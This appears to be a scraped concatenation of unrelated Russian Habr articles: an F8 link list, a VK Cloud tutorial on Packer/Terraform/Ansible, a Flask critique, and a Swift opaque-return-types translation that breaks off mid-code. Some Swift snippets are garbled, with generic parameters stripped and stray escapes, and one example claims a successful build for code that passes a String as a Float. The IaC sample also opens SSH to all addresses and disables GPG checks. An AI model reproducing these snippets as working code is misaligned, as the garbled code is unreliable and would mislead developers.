* [История F8](http://www.cpushack.com/2013/06/08/cpu-of-the-day-fairchild-f8-microprocessor/)
* [Программирование F8](https://ia800709.us.archive.org/30/items/bitsavers_fairchildfng1977_5888299/F8_Guide_To_Programming_1977.pdf)
* [Патент](https://patents.google.com/patent/US4095791) (как всё работает)
* Music player / converter from XM [[1]](https://github.com/utz82/SleizsaTrio), [[2]](https://github.com/utz82/SleizsaDuo)
* [Картинки](https://www.youtube.com/watch?v=F6f3RWGV7jQ)
* [Intro со скроллингом](https://www.youtube.com/watch?v=CXykTyfPk98) | https://habr.com/ru/post/467811/ | null | ru | null |
# Применение инструментов IaC в облаке
Привет, Хабр! Я Алексей Волков, менеджер продукта компании [VK Cloud Solutions](https://mcs.mail.ru/). Хочу рассказать о подходе IaC (Infrastructure as Code, инфраструктура как код), который позволяет управлять сетями, виртуальными машинами, подсистемами балансировки нагрузки и другими элементами инфраструктуры как кодом с помощью описательной модели. Поговорим о современных принципах управления инфраструктурой, инструментах IaC в облаке и вариантах построения CI/CD-пайплайна.
Традиционный процесс администрирования vs IaC
---------------------------------------------
Чтобы лучше понять суть IaC, удобнее всего сравнить его с традиционным подходом к администрированию инфраструктуры.
**При традиционном подходе:**
1. Устанавливают операционную систему (ОС).
2. Добавляют пользователей.
3. Ставят нужные пакеты.
4. Вписывают конфигурации.
5. Запускают приложение.
Если нужно расширить функциональность образа или перенастроить его, повторяют пункты 3–5. Такой подход еще называют Configuration Drain. Недостаток в том, что при неоднократном обновлении инстанса практически невозможно понять, какая версия пакетов установлена и какие настройки активны. Это нередко приводит к тому, что последующее обновление может не запуститься или сломать всю инфраструктуру.
**При IaC-подходе алгоритм отличается:**
1. Готовят шаблон сервера со всеми настройками и пакетами.
2. Описывают в тексте инфраструктуру с указанием сетей, серверов, прав доступа и других параметров.
3. Применяют изменения.
В итоге получается «золотой образ», готовый к использованию. Как правило, перед запуском в продакшене его проверяют на стейдже — если он корректно работает во время теста, то и в реальных условиях проблем не будет.
«Золотой образ» можно использовать и в качестве шаблона — например, если нужно внести дополнительные изменения поверх уже активных настроек.
IaC-подход к администрированию повышает предсказуемость системы, ее воспроизводимость и контролируемость. Кроме того, он позволяет быстро исправлять возникающие ошибки: в любой момент можно перезапустить инстанс с корректными настройками из чистого образа. Одновременно с этим можно управлять инфраструктурой как кодом: версионировать, использовать возможности Git для контроля изменений, указывать этапы выкатки и другие нюансы.
На практике для реализации IaC-подхода к администрированию используют разные инструменты. Рассмотрим Packer и Terraform от компании HashiCorp.
Packer
------
Packer — инструмент для создания одинаковых образов ОС для различных платформ из одного описания. Образ, создаваемый Packer, включает в себя настроенную операционную систему (ОС) и набор программного обеспечения (ПО). Packer умеет создавать образы AMI для EC2, VMDK/VMX-файлы для VMware, OVF для VirtualBox и другие.
Packer не зависит от облачной инфраструктуры — он поддерживает несколько бэкендов и может работать с разными провайдерами «из коробки».
**Алгоритм работы с Packer следующий:**
1. Создаем и описываем файл конфигурации базовой виртуальной машины.
2. Запускаем Packer, который создает виртуальную машину.
3. Обращаемся в провижинер, например Ansible, для провижинга виртуальной машины.
4. После провижинга приводим виртуальную машину к нужному состоянию, со всеми настройками и наборами ролей.
5. Packer идет в облачное хранилище в бэкенде и делает снапшот виртуальной машины, который потом загружает в облако в виде образа.
*Схема работы Packer*
В результате получается базовый образ, из которого можно развернуть любое количество виртуальных машин. Логика работы Packer похожа на логику Docker, когда из Docker-файла с описанием создают образ виртуальной машины.
### Пример использования Packer
Покажу на примере. Возьмем директорию Nginx, она вложена в директорию Packer на [GitHub](https://github.com/vk-cs/terraform-webinars/tree/master/packer_terraform):
```
# ls
README.md
packer
terraform
# cd packer/nginx
```
Далее соберем базовый образ с Nginx. Для этого:
1. Берем стандартный образ из облака.
2. С помощью Ansible ставим в образ Nginx.
3. Изменяем конфигурацию заменой конфигурационного файла.
4. Запускаем и включаем Nginx.
Nginx взят исключительно для примера, по аналогии можно сконфигурировать любое приложение, которое запускается на виртуальных машинах.
Приступаем к сборке образа:
1. Для примера я создал на [GitHub](https://github.com/vk-cs/terraform-webinars/tree/master/packer_terraform) директорию Packer. В ней лежит директория Nginx и файл nginx.pkr.hcl.
```
# ls
nginx
nginx.pkr.hcl
playbook.yml
# vim nginx.pkr.hcl
```
2. Файл nginx.pkr.hcl содержит конфигурацию для Packer, эта информация нужна, чтобы Packer понимал, в каком бэкенде и как нужно запустить виртуальную машину.
```
variable "image_tag" {
type = string
}
source "openstack" "nginx" {
source_image_filter {
filters {
name = "Centos-7.9-202107"
}
most_recent = true
}
flavor = "Basic-1-1-10"
ssh_username = "centos"
security_groups = ["all"]
volume_size = 10
config_drive = "true"
use_blockstorage_volume = "true"
networks = ["298117ae-3fa4-4109-9e08-8be5602be5a2"]
image_name = "nginx-${var.image_tag}"
}
build {
sources = ["source.openstack.nginx"]
provisioner "ansible" {
playbook_file = "playbook.yml"
}
}
```
3. В конфиге через `source "openstack" и source_image_filter` указываем, какой базовый образ использовать для создания нового. В данном случае — Centos-7.9-202107, который находится в публичном доступе в облаке VK Cloud Solutions.
4. Через `flavor` указываем размер виртуальной машины, например: 1 ядро, 1 ГБ оперативной памяти, 10 ГБ диска. Эти параметры касаются только базовой виртуальной машины, с которой снимается образ. Из нового образа можно будет запускать ВМ любого размера.
5. Здесь же указываем параметры подключения к ВМ по SSH и другие настройки. Доступ по SSH нужен, чтобы Packer мог запустить в облаке ВМ и получить доступ к Ansible, который подключается к ВМ и выполняет нужные действия. Только после этого создается снапшот виртуальной машины.
6. В переменных указываем название создаваемых образов. Здесь `nginx`
— постоянный префикс, `$` — переменная версии. Например, `nginx 0.0.1`. Для этого в начале описываем, что есть переменная `image_tag` типа `string`. При старте сборки образа мы запускаем Packer и указываем `image_tag`. Алгоритм такой же, как при сборке Docker-образов, то есть у нас будет образ nginx 0.0.1, 0.0.2, 0.0.3, 1.0.0 и так далее — сразу версионируем образы.
7. В блоке `build` описываем, как запускать провижинер и какой. В данном случае `Ansible`. Тут же указываем файл, который нужен для запуска, — `playbook.yml`.
8. В файле playbook.yml указываем, что на всех хостах нужно запустить роль `Nginx`.
```
---
- hosts: all
become: true
roles:
- nginx
```
9. В файле роли `Nginx` все довольно просто: указываем минимальную установку Nginx, прикрепляем набор конфигураций, добавляем репозиторий с исходным Nginx и устанавливаем его. После этого копируем конфигурацию в виртуальную машину, стартуем и энейблим сервис с Nginx.
```
---
- name: Add nginx repo | Centos
yum_repository:
baseurl: http://nginx.org/packages/mainline/rhel/7/$basearch/
enabled: true
gpgcheck: false
description: Nginx repo
name: nginx
when: ansible_facts['os_family'] == "RedHat"
- name: Install Nginx | Centos
yum:
name: nginx
state: present
when: ansible_facts['os_family'] == "RedHat"
- name: Add Nginx config
template:
src: default.conf.j2
dest: /etc/nginx/conf.d/default.conf
mode: 0644
- name: Start and enable Nginx
service:
name: nginx
enabled: true
state: started
```
То есть после того, как из этого образа ВМ мы создадим всю инфраструктуру нескольких виртуальных машин, там изначально будет стоять Nginx, сконфигурированный, запущенный и заэнейбленый. После запуска этой виртуальной машины включится Nginx и будет готов обслуживать пользователей.
10. В файле конфига default.conf просим Nginx при обращении к корню возвращать «200» и свой hostname. Это поможет понять, как работают инстансы и выполняется балансировка.
```
server {
listen 80 default_server;
server_name _;
default_type text/plain;
location / {
return 200 '$hostname\n';
}
}
```
Это вся конфигурация, которая нужна для запуска Packer. Перед этим важно соблюсти два условия:
1. Передать в Packer ключи для взаимодействия с API облака, то есть логин и пароль учетной записи.
2. Локально установить и настроить Ansible.
Запустим Packer.
```
# packer build -var ‘image_tag=1.0.1' nginx.pkr.hcl
openstack: output will be in this color
==> openstack: Loading flavor: Basic-1-1-10
openstack: Verified flavor. ID: df3c499a-044f-41d2-8612-d303adc613cc
==> openstack: Creating temporary keypair: packer_621795d4-d237-1627-ef62-57d0952dl304 ...
==> openstack: Created temporary keypair: packer_621795d4-d237-1627-ef62-57d0952dl304
openstack: Found Image ID: 44709803-5ec2-496b-88b7-85a5250e51c4
==> openstack: Creating volume...
==> openstack: Waiting for volume packer_621795d4-d40a-0146-b30c-92f00elae3b4 (volume id: 9102e41e-15b7-4ef6-8c27-7a0de 49ce922) to become available...
openstack: Volume ID: 9102e41e-15b7-4ef6-8c27-7a0de49ce922
=> openstack: launching server...
==> openstack: Launching server... openstack: Server ID: f44e40eb-a907-49e3-8d7e-89b20eaa8df1
==> openstack: Waiting for server to become ready...
```
1. Выполняем команду `packer build - var`, указываем переменную `image_tag` с индексом 1.0.1 и передаем конфигурационный файл nginx.pkr.hcl, который мы использовали раньше.
2. После выполнения команды Packer идет в интерфейс облака и запускает виртуальную машину.
3. При этом в личном кабинете облака начинает создаваться виртуальная машина с указанным типом. На этом этапе Packer ждет запуск ВМ и последующий запуск SSH. После этого на ВМ запускается Ansible, который снимает с ВМ образ.
4. После завершения обработки в интерфейсе облака будет создан образ, из которого можно запустить любое количество виртуальных машин.
Вручную добавлять инстансы, конфигурировать и настраивать каждую ВМ в облаке опасно: даже из-за незначительной ошибки могут возникать глобальные сбои в инфраструктуре. Автоматизировать эти процессы и исключить ошибки позволяет Terraform.
Terraform
---------
Terraform — инструмент от компании Hashicorp, который позволяет декларативно управлять инстансами, сетями, группами безопасности и другими компонентами инфраструктуры с помощью файлов конфигураций. Благодаря Terraform можно привести инфраструктуру к нужному состоянию декларативно, сразу указав нужные параметры системы.
Еще в Terraform предусмотрена функция «План». Благодаря ей инструмент сравнивает текущее состояние системы с будущим и отображает пользователю, что именно будет удалено, запущено или изменено в соответствии с новым конфигурационным файлом. Такая проверка помогает исключить ошибки при создании рабочей инфраструктуры.
### Конфигурация Terraform
Конфигурация Terraform интереснее, чем у Packer. Для его работы файлы конфигурации должны находиться в директории, из который запускают инструмент. При этом оформление не имеет значения: конфигурацию можно описать как в одном файле, так и в нескольких, разделив на смысловые блоки.
```
# ls
nginx nginx.pkr.hcl playbook.yml
# cd ../../nginx/terraform
# ls
keys.tf network.tf terraform.tfstate.backup
loadbalancer.tf providers.tf variables.tf
main.tf terraform.tfstate vars.tfvars
```
Как правило, описание конфигурации содержит:
1. **Файл с описанием провайдеров.** Terraform может работать с разными облаками, поэтому в файле описываем параметры провайдера — название и версию. Подробнее про настройку Terraform-провайдера для VK Cloud Solutions можно посмотреть [здесь](https://mcs.mail.ru/docs/ru/additionals/terraform/terraform-provider-config).
```
terraform {
required_providers {
vkcs = {
source = "vk-cs/vkcs"
}
}
}
```
2. **Файл с данными для подключения к облаку.** Инструменту надо передать API endpoints, ключи и другие персональные идентификаторы.
3. **Файл с описанием конфигурации виртуальных машин.** Terraform работает с двумя типами объектов: Data и Resource. Data — то, что можно получить из облака. Например, конфигурация дефолтной сети облака. А Resource — то, что создаем сами.
```
resource "vkcs_compute_instance" "instance" {
count = var.node_count
name = "node-${count.index}"
image_name = "${var.image_name}-${var.image_tag}"
flavor_name = var.flavor_name
key_pair = vkcs_compute_keypair.ssh.name
config_drive = true
security_groups = [
vkcs_networking_secgroup.secgroup.name
]
network {
name = vkcs_networking_network.example_routed_private_network.name
}
lifecycle {
create_before_destroy = true
}
}
```
В описании Resource указываем тип ресурса: `vkcs_compute_instance`. Также указываем внутреннее имя ресурса, которое Terraform будет использовать для автоматического построения зависимостей. С помощью таких имен можно обращаться к свойствам других объектов.
В этом файле конфигурации также указываем переменную с названием ВМ — с префиксом node и переменной `count.index`. Прописываем еще две переменные: `image_name` и `image_tag`, которые будут указывать на название и тег образа, созданного с помощью Packer.
Также описываем и другие параметры.
4. **Файл с описанием сетей.** В файле с сетями используется другой тип объектов — Data. Он нужен для запроса данных из облака в переменную `ext-net`. Также в файле прописываем приватную сеть и подсеть, создаем роутер, конфигурируем Security-группы и настраиваем остальные сетевые параметры.
```
data "vkcs_networking_network" "extnet" {
name = "ext-net"
}
resource "vkcs_networking_network" "example_routed_private_network" {
name = "example_routed_private_network"
}
resource "vkcs_networking_subnet" "example_routed_private_subnet" {
name = "example_routed_private_subnet"
network_id = vkcs_networking_network.example_routed_private_network.id
cidr = "10.0.2.0/24"
ip_version = 4
enable_dhcp = true
}
resource "vkcs_networking_router" "example_router" {
name = "example_router"
external_network_id = data.vkcs_networking_network.extnet.id
}
resource "vkcs_networking_router_interface" "example_router_interface" {
router_id = vkcs_networking_router.example_router.id
subnet_id = vkcs_networking_subnet.example_routed_private_subnet.id
}
resource "vkcs_networking_secgroup" "secgroup" {
name = "terraform__security_group"
description = "security group for terraform instance"
}
resource "vkcs_networking_secgroup_rule" "secgroup_rule22" {
direction = "ingress"
ethertype = "IPv4"
protocol = "tcp"
port_range_min = 22
port_range_max = 22
remote_ip_prefix = "0.0.0.0/0"
security_group_id = "${vkcs_networking_secgroup.secgroup.id}"
}
resource "vkcs_networking_secgroup_rule" "secgroup_rule80" {
direction = "ingress"
ethertype = "IPv4"
protocol = "tcp"
port_range_min = 80
port_range_max = 80
remote_ip_prefix = "0.0.0.0/0"
security_group_id = "${vkcs_networking_secgroup.secgroup.id}"
}
resource "vkcs_networking_secgroup_rule" "secgroup_rule-1" {
direction = "ingress"
ethertype = "IPv4"
protocol = "icmp"
remote_ip_prefix = "0.0.0.0/0"
security_group_id = "${vkcs_networking_secgroup.secgroup.id}"
}
```
5. **Файл с ключами доступа.** В нем прописываем, что Terraform сам автоматически генерирует SSH-ключ: приватную часть после запуска сохранит локально, а публичную часть положит в облако. Впоследствии публичный ключ будет доставлен во все новые ВМ.
```
resource "tls_private_key" "ssh" {
algorithm = "RSA"
}
resource "vkcs_compute_keypair" "ssh" {
name = "terraform_ssh_key"
public_key = tls_private_key.ssh.public_key_openssh
}
output "ssh" {
value = tls_private_key.ssh.private_key_pem
sensitive = true
}
```
Ресурс `tls_private_key.ssh.private_key_pem` содержит приватный ключ. В выводе он помечен как `sensitive = true` и будет маскирован. Используем следующую команду для сохранения приватного ключа:
```
terraform.exe output ssh
```
6. **Файл с конфигурацией load balancer.** Балансировщик нагрузки нужен, если планируется запускать несколько виртуальных машин. Для подготовки в файле создаем Load Balancer и внешний Listener, добавляем в балансировщик виртуальные машины и определяем правила проверки. При правильной настройке балансировщика Terraform обеспечивает Zero Downtime Deployment с плавной для пользователей сменой версии приложения.
```
resource "vkcs_networking_floatingip" "example_floating_ip" {
pool = "ext-net"
port_id = vkcs_lb_loadbalancer.example_http_balancer.vip_port_id
}
resource "vkcs_lb_loadbalancer" "example_http_balancer" {
name = "example_http_balancer"
description = "An HTTP load balancer in a private network with 2 backends"
vip_subnet_id = vkcs_networking_subnet.example_routed_private_subnet.id
}
resource "vkcs_lb_listener" "example_http_listener" {
name = "example_http_listener"
description = "A load balancer frontend that listens on 80 prot for client traffic"
protocol = "HTTP"
protocol_port = 80
loadbalancer_id = vkcs_lb_loadbalancer.example_http_balancer.id
}
resource "vkcs_lb_pool" "example_http_pool" {
name = "example_http_pool"
description = "A load balancer pool of backends with Round-Robin algorithm to distribute traffic to pool's members"
protocol = "HTTP"
lb_method = "ROUND_ROBIN"
listener_id = vkcs_lb_listener.example_http_listener.id
}
resource "vkcs_lb_monitor" example_http_monitor {
name = "example_http_monitor"
delay = 5
max_retries = 3
timeout = 5
type = "HTTP"
url_path = "/"
http_method = "GET"
expected_codes = "200"
pool_id = vkcs_lb_pool.example_http_pool.id
}
resource "vkcs_lb_member" "example_http_member" {
count = var.node_count
name = "example_http_member-${count.index}"
address = vkcs_compute_instance.instance.*.access_ip_v4[count.index]
protocol_port = 80
weight = 10
pool_id = vkcs_lb_pool.example_http_pool.id
subnet_id = vkcs_networking_subnet.example_routed_private_subnet.id
lifecycle {
create_before_destroy = true
}
}
output "example_http_balancer_vip_address" {
value = vkcs_networking_floatingip.example_floating_ip.address
}
```
Для запуска Terraform и начала создания указанной инфраструктуры нужно выполнить `terraform apply`. В ответ на это Terraform выводит весь план создаваемой конфигурации, запрашивает подтверждение и начинает создавать в облаке всю заданную инфраструктуру с сетями, подсетями, роутерами, балансировщиками и другими компонентами.
В итоге IaC-инструменты сводят всю подготовку инфраструктуры к простым действиям:
1. Описание образа.
2. Описание состояний виртуальных машин с помощью Ansible.
3. Установка и настройка Nginx.
4. Запуск виртуальных машин с помощью Terraform.
При таком подходе не нужно будет катать Ansible по всем создаваемым виртуальным машинам, что упрощает внесение любых изменений.
Обновленный CI/CD-пайплайн
--------------------------
C помощью Packer и Terraform можно реализовать все принципы Docker с неизменяемой инфраструктурой и Kubernetes с выкатыванием новых версий через перезапуск.
Связка инструментов отлично работает с инфраструктурой на виртуальных машинах в облаке и сохраняет привычный алгоритм:
1. Разработчик выпускает новую версию приложения.
2. С помощью Packer делаем новый образ ВМ на основе новой версии приложения.
3. С помощью Terraform автоматизировано повторно разворачиваем всю инфраструктуру без даунтайма с Health Check от балансировщиков.
> На нашей [платформе VK Cloud Solutions](https://mcs.mail.ru/?) можно протестировать Terraform. Для этого при регистрации мы начисляем пользователям 3000 бонусных рублей — приходите, пробуйте и оставляйте обратную связь. | https://habr.com/ru/post/674842/ | null | ru | null |
# What the flask?
*Вообще-то, это картинка от wtforms, но у меня гимп почему-то не запускается.*
Эту статью я пишу в баре. Очень хочется похоливарить, но бармен на меня смотрит круглыми глазами, а кальянщик просто улыбается и мотает головой.
Однажды, меня спросили: что плохого во flask? Тогда меня полностью устраивал этот милый фреймворк. Поработав с ним какое-то время, я написал все, что думаю, в рабочий слак, на что мне ответили: "Мурад, будь добрее". Вообще, я добрый и пушистый, но wtf?!
Стоит отметить, что я являюсь большим поклонником работы [Армина](http://lucumr.pocoo.org/about/). Его пакеты используются во многих мои проектах. А еще он невероятная заноза в сообществе Python. И это хорошо.
Flask
-----
Flask — это обертка над очень крутыми обособленными проектами. Некоторые сравнивают его с джангой. Я хз почему.
Если попытаться описать все проблемы фласка в двух пунктах:
1. импорты
2. контекст реквеста
Все. Дальше можно не читать. Но если все еще не понятно, листаем дальше.
Blueprints
----------
Если в джанге все приложения подключаются в `INSTALLED_APPS`, то во фласке используется концепция `blueprints`. Этакое приложение и обособленный неймспейс урлов в одном флаконе:
```
from flask import Flask
from yourapplication.simple_page import simple_page
app = Flask(__name__)
app.register_blueprint(simple_page, end_point='/simple_page')
```
Далее, можно роутить урлы так: `url_for('simple_page.index')`.
### Вложенность
А ее нет. Нельзя просто так взять и сделать вложенный неймспейс. В сети можно найти "решения", но здесь я буду рассматривать только коробочный фласк, потому что написать-то можно все.
### Импорты
Когда вы делаете так в продакшен коде:
```
if foo == 3:
do_stuff(foo)
```
Где-то в мире грущу я! Берегите меня, выносите это в сеттинги.
```
from myapp import app
class Foo(FlaskForm):
choices = SelectField(choices=app.conf.FOO_CHOICES)
```
Концептуально. Но работать не будет. Потому что пару строчек назад мы импортировали пакет в `myapp` и навечно заказали себе путь туда.
Погодите, должен быть выход! Ага!
```
from flask import current_app
```
И это не работает. Потому что `current_app` доступен только в контектсте реквеста!
— Вынеси это наконец в файл сеттингов приложения, больной ублюдок! — голос из зала.
— А как я буду их подменять на проде или тестовом, а?
Кстати, для джанги на этот случай у меня есть специальная [батарейка](https://github.com/byashimov/django-pkgconf).
Просто представьте себе прекрасный дивный мир, где `django.conf.settings` доступен только в контексте реквеста!
flask.g
-------
Нельзя не пошутить про одноименную точку. А главное, ее не нужно искать, она всегда тут: `flask.g`. Бада-бум-тсс!
Вот поэтому Армин — мой кумир!
В нее можно пробросить все необходимое:
```
@app.before_request
def before_request():
g.locale = get_locale()
g.foo = foo
```
Однако, это будет работать только в контексте реквеста, как и любые другие магические объекты фласка.
Роутинг урлов и их методы
-------------------------
У меня [на сайте](https://github.com/byashimov/website) есть такой кусок урлов:
```
bp.add_url_rule('/api/v1/', view_func=ApiView.as_view('api_view'))
...
bp.add_url_rule('//', view\_func=PageView.as\_view('page\_view'))
```
`ApiView` обрабатывает только один метод — `POST`. Угадайте, что будет если спросить `GET`? Ага, 404. Ее обеспечивает вторая вьюшка.
Чтобы получить `NOT ALLOWED`, нужно явно вернуть 405 в `ApiView`!
Fask, что с тобой не так?
Стейк!
------
А. Погодите. Это мне. Омн-омн-омн.
flask-wtf. CSRF
---------------
Ох. Допустим, нам нужно отключить проверку в одной вьюхе:
```
@app.route('/foo', methods=('GET', 'POST'))
@csrf.exempt
def my_handler():
# ...
return 'ok'
```
Значит, нам нужен `app`. Помните про импорты, да? Ищем выход, лезем в сорцы:
```
def exempt(self, view):
...
if isinstance(view, string_types):
view_location = view
else:
view_location = '.'.join((view.__module__, view.__name__))
self._exempt_views.add(view_location)
return view
```
Ура! Можно передать путь до вьюхи (в версии, которая вышла две недели назад)! Пробуем:
```
csrf.exempt('website.apps.typus_web.views.ApiView')
```
Не работает. На самом деле (ненавижу это выражение), мы подменили имя вьюхи, когда вызывали `ApiView.as_view('api_view')`:
```
csrf.exempt('website.apps.typus_web.views.api_view')
```
И "все равно", что мы указываем путь до объекта, которого нет. Работает! Не работает.
А знаете почему? Потому что форма. Она ничегошеньки не знает про вьюху:
```
class ApiForm(ViewForm):
...
class Meta(ViewForm.Meta):
csrf = False
```
Вот теперь работает.
url\_for()
----------
Допустим, вы хотите сделать так:
```
NAVIGATION = (
(url_for('flatpages:index'), _('Home page')),
)
```
Забудьте. Вне контекста не работает. Наверное, можно сделать свой ленивый объект, в конце-концов, в джанге это тоже не сразу появилось.
flask-testing
-------------
Штука, призванная помочь с тестами. Например, можно заглянуть в контекст, который передается в шаблон. А давайте попробуем:
```
AssertionError: Popped wrong request context.
```
Ой. Что-то пошло не так. А знаете что? Я вот тоже не знаю.
На самом деле (ненавижу это выражение), я схватил `NotImplementedError` в одном из методов, которые не переопределил. Но поинт в том, что уронив тесты, вам ни за что не понять в чем причина.
Всякое разное
-------------
В процессе ковыряния фласка, нашел несколько моментов:
```
def jsonify(*args, **kwargs):
...
if args and kwargs:
raise TypeError('jsonify() behavior undefined when passed both args and kwargs')
elif len(args) == 1: # single args are passed directly to dumps()
data = args[0]
else:
data = args or kwargs
```
Здесь что-то происходит. Это все, что я понимаю.
И это:
```
def make_response(*args):
if not args:
return current_app.response_class()
if len(args) == 1:
args = args[0]
return current_app.make_response(args)
```
А теперь ягодки:
```
class Flask(_PackageBoundObject):
def make_response(self, rv):
status_or_headers = headers = None
if isinstance(rv, tuple):
rv, status_or_headers, headers = rv + (None,) * (3 - len(rv))
```
Все, жгите!
P.S. А чего я один эээ статьи пишу, м? Кто хочет на той неделе, скажем, во вторник (чтобы больше вместить) пойти в бар (в Питере, в районе Звездной)?.. Пишите в инбокс.
P.P.S. Хабр, ты почему не типографишь тексты? Вот, я даже [штуку](https://habrahabr.ru/post/320174/) написал! | https://habr.com/ru/post/320360/ | null | ru | null |
# Разбираемся с Opaque Return Types в Swift
> *Привет, Хабр. В рамках стартующего в феврале* [*курса «iOS Developer. Professional»*](https://otus.pw/98B1/) *подготовили для вас перевод полезного материала.
>
> Также предлагаем принять участие в* [*открытом вебинаре на тему «Пишем приложение на SwiftUI и Combine»*](https://otus.pw/Crcf/)*. Участники вместе с экспертом разберут, что такое SwiftUI и фреймворк Combine, а также как с их помощью создать небольшое приложение.*
>
>
Вы также можете прочитать эту статью в моем блоге Xcoding With Alfian, [перейдя по ссылке](https://www.alfianlosari.com/posts/understanding-opaque-return-type).
Opaque return types (непрозрачные типы) — это новая языковая конструкция, представленная Apple в Swift 5.1. Их можно использовать для возврата некоторого (`some`) значения функции (`function`)/метода (`method`) и свойства (`property`), не раскрывая конкретный тип значения клиенту, который вызывает API. Тип возврата будет некоторым типом, реализующим протокол (`protocol`). С помощью этого решения API-интерфейс модуля больше не должен публично раскрывать базовый внутренний возвращаемый тип метода, ему просто нужно вернуть `opaque type` протокола с помощью ключевого слова some. Компилятор Swift также сможет сохранить базовую идентичность (`identity`) возвращаемого типа, в отличии от варианта с использованием протокола в качестве возвращаемого типа. SwiftUI использует opaque `return types`внутри своего протокола View, который возвращает `some` View в свойстве `body`.
Вот некоторые из важных возможностей, предоставляемых `opaque return types`, которые закрепят их в нашем наборе инструментов и будут использоваться всякий раз, когда мы захотим создать API с использованием Swift:
1. Возможность предоставить определенный тип протокола, не раскрывая конкретный (`concrete`) тип вызывающему API для лучшей инкапсуляции (`encapsulation`).
2. Поскольку API не предоставляет вызывающей стороне приватный конкретный тип возвращаемого значения, клиенту не нужно беспокоиться о том, изменятся ли в будущем базовые типы, если он реализует базовый протокол.
3. Предоставляет надежные гарантии базовой идентичности, возвращая определенный тип во время выполнения. Компромисс заключается в потере гибкости при возврате значений нескольких типов, предлагаемых с использованием протокола в качестве типа возврата.
4. Из-за строгой гарантии возврата определенного типа протокола. Функция может возвращать `opaque protocol type`, который имеет в требовании Self или `associated type`.
5. Протокол оставляет решение возвращать тип вызывающему объекту функции. В обратном случае для `opaque return types` сама функция принимает решение для конкретного типа возвращаемого значения, если она реализует протокол.
### Пример использования Opaque return types
Чтобы понять больше о opaque return type и почему он отличается от простого использования протокола в качестве возвращаемого типа, давайте погрузимся в код примеров того, как мы можем его использовать.
### Объявление протокола с associatedtype
Допустим, у нас есть протокол под названием MobileOS. Этот протокол имеет `associatedtype` (связанный тип) называемый Version и свойство, позволяющее получить Version, для конкретного типа, который необходимо реализовать.
```
protocol MobileOS {
associatedtype Version
var version: Version { get }
init(version: Version)
}
```
### Реализация конкретных типов протокола
Определим два конкретных типа для этого протокола: iOS и Android. Оба они имеют разную семантику версий. IOS использует тип float, а Android использует String (хотя недавно они изменили его в Android 10).
```
struct iOS: MobileOS {
var version: Float
}
struct Android: MobileOS {
var version: String
}
```
### Создание функции для возврата типа протокола
Предположим, мы хотим создать новую функцию, которая возвращает протокол MobileOS в качестве возвращаемого типа. Наивный подход заключается в том, чтобы написать это так:
#### Решение 1 (возвращает тип протокола):
```
func buildPreferredOS() -> MobileOS {
return iOS(version: 13.1)
}
// ОШИБКА компилятора
Протокол 'MobileOS' может использоваться только как общее ограничение,
потому что у него есть требования к типу Self или associated type.
```
Как видите, компилятор выдает ошибку, потому что наш протокол имеет ограничение, которое использует `associatedtype`. Компилятор не сохраняет идентичность типа возвращаемого значения при использовании протокола в качестве возвращаемого типа. Давайте попробуем другое решение, которое напрямую возвращает конкретный тип.
#### Решение 2 (возвращает конкретный тип):
```
func buildPreferredOS() -> iOS {
return iOS(version: 13.1)
}
// Сборка прошла успешно
```
Это решение работает, но, как вы можете видеть, API теперь передает вызывающей стороне конкретный тип. Этот код потребует серьезного рефакторинга, если в будущем мы передумаем и вернем Android в качестве возвращаемого типа функции.
#### Решение 3 (Generic Function Return)
```
func buildPreferredOS(version: T.Version) -> T {
return T(version: version)
}
let android: Android = buildPreferredOS(version: "Jelly Bean")
let ios: iOS = buildPreferredOS(version: 5.0)
```
Да, этот подход работает элегантно. Но теперь сторона, вызывающая API, должна указать конкретный тип возвращаемой функции. Если мы действительно хотим, чтобы вызывающей стороне не нужно было заботиться о конкретном возвращаемом типе, то это все еще не правильное решение.
#### Окончательное решение (на помощь приходит Opaque Return Type)
```
func buildPreferredOS() -> some MobileOS {
return iOS(version: 13.1)
}
```
Используя `opaque return type`, мы, наконец, можем вернуть MobileOS в качестве типа возврата функции. Здесь компилятор поддерживает идентичность базового конкретного возвращаемого типа, и вызывающей стороне не обязательно знать внутренний тип возвращаемого типа, если он реализует протокол MobileOS.
#### Opaque returns types могут возвращать только один конкретный тип
Возможно, вы думаете, что как и тип возвращаемого значения протокола, мы также можем возвращать конкретное значение другого типа внутри `opaque return type`, например.
```
func buildPreferredOS() -> some MobileOS {
let isEven = Int.random(in: 0...100) % 2 == 0
return isEven ? iOS(version: 13.1) : Android(version: "Pie")
}
// ОШИБКА компилятора
Невозможно преобразовать возвращаемое выражение типа 'iOS'
в возвращаемое выражение типа 'some MobileOS'
func buildPreferredOS() -> some MobileOS {
let isEven = Int.random(in: 0...100) % 2 == 0
return isEven ? iOS(version: 13.1) : iOS(version: "13.0")
}
// Сборка прошла успешно
```
Компилятор вернет ошибку сборки, если вы пытаетесь вернуть другой конкретный тип для `opaque return value`. Однако вы все равно можете вернуть другое значение того же конкретного типа.
#### Упрощение сложных и вложенных типов в opaque return type для вызывающего API
Последний пример `opaque return value` — действительно хороший пример того, как мы можем использовать `Opaque return type`, чтобы скрыть сложный и вложенный типы в простой `opaque protocol type`, который может быть представлен клиенту.
Рассмотрим функцию, которая принимает массив, который использует `generic constraint` для своего элемента, чтобы соответствовать протоколу `numeric`. Этот массив выполняет несколько функций:
1. Отбрасывает элементы головы и хвоста из массива.
2. Лениво сопоставьте функцию, выполняя операцию умножения самого себя для каждого элемента.
Вызывающей стороне этого API не нужно знать тип возвращаемого значения функции, вызывающая сторона просто хочет выполнить цикл `for` и вывести (print) значение последовательности на консоль.
Давайте реализуем это с помощью простой функции.
**Решение 1. Использование Generic Return Function**
```
func sliceFirstAndEndSquareProtocol(array: Array) -> LazyMapSequence, T> {
return array.dropFirst().dropLast().lazy.map { $0 \* $0 }
}
sliceFirstAndEndSquareProtocol(array: [2,3,4,5]).forEach { print($0) }
// 9
// 16
```
Как вы можно увидеть, тип возвращаемого значения этой функции очень сложен и вложен `LazyMapSequence, T>`, в то время как клиент использует его только для печати каждого элемента в цикле.
**Решение 2. Простые Opaque Return Types**
```
func sliceHeadTailSquareOpaque(array: Array) -> some Sequence {
return array.dropFirst().dropLast().lazy.map { $0 \* $0 }
}
sliceHeadTailSquareOpaque(array: [3,6,9]).forEach { print($0) }
// 36
```
Используя это решение, клиент не нужно знать о базовом возвращаемом типе функции, если он соответствует протоколу sequence, который может использоваться клиентом.
### Opaque Return Types в SwiftUI
SwiftUI также в значительной степени зависит от этого подхода, так как body View не обязано демонстрировать конкретный возвращаемый тип до тех пор, пока он соответствует протоколу View. В противном случае предполагаемый тип возвращаемого значения может быть очень сложным и вложенным.
```
struct Row: View {
var body: some View {
HStack {
